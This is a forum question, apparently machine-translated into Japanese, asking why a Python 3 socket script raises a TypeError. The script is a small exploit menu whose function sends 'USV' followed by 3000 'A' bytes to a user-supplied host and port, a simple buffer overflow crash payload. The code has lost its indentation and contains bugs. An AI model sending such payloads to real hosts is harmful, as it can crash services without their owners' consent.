0
私は最近誰かのプロジェクトに取り組んでいました。単純なバッファオーバーフローエクスプロイトをインポートしようとしているうちに、私は解決策を見つけることができないという問題に遭遇しました。私はStackOverflowを検索し、LiveOverFlowに質問しました(Heh。オーバーフローに関する2つのオーバーフローからの回答を探しています)。 以下は、オーバーフローのコードとエラーのある2枚の画像です。TypeError: 'str'はバッファインターフェイスをサポートしていません - Python3ソケット
import sys
import socket
def cmdline():
sys.stdout.write(RED)
cmdinput = input("NSEFW >> ") #<---- PS1
def ExploitSimpleBufferOverflow():
sys.stdout.write(CYAN2)
host = input("Enter the host IP: ")
port = int(input("Enter the host port: "))
sys.stdout.write(RESET)
for carg in sys.argv:
if carg == "-s":
argnum = sys.argv.index(carg)
argnum += 1
host = sys.argv[argnum]
elif carg == "-p":
argnum = sys.argv.index(carg)
argnum += 1
port = sys.argv[argnum]
buffer = "\x41"* 3000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("USV" + buffer + "//r//n//r")
s.close
print('Exploit send succesfully.\n', end="")
#Lists all avaible exploits.
elif cmdinput.lower() == "list exploits":
sys.stdout.write(RESET)
print('\n\nto use an exploit, type "use <name>"\n', end="")
print(' \n', end="")
sys.stdout.write(WHITE)
print('\nSimple_Buffer_Overflow (esbo) ', end="")
sys.stdout.write(RED)
print('[M] ', end="")
sys.stdout.write(BLUE)
print('[D]', end="")
print(' \n', end="")
#Callout for SimpleBufferOverflow exploit.
elif cmdinput.lower() == "use exploit_simple_buffer_overflow":
ExploitSimpleBufferOverflow()
elif cmdinput.lower() == "use esbo":
ExploitSimpleBufferOverflow()
Error without encode. Error with encode.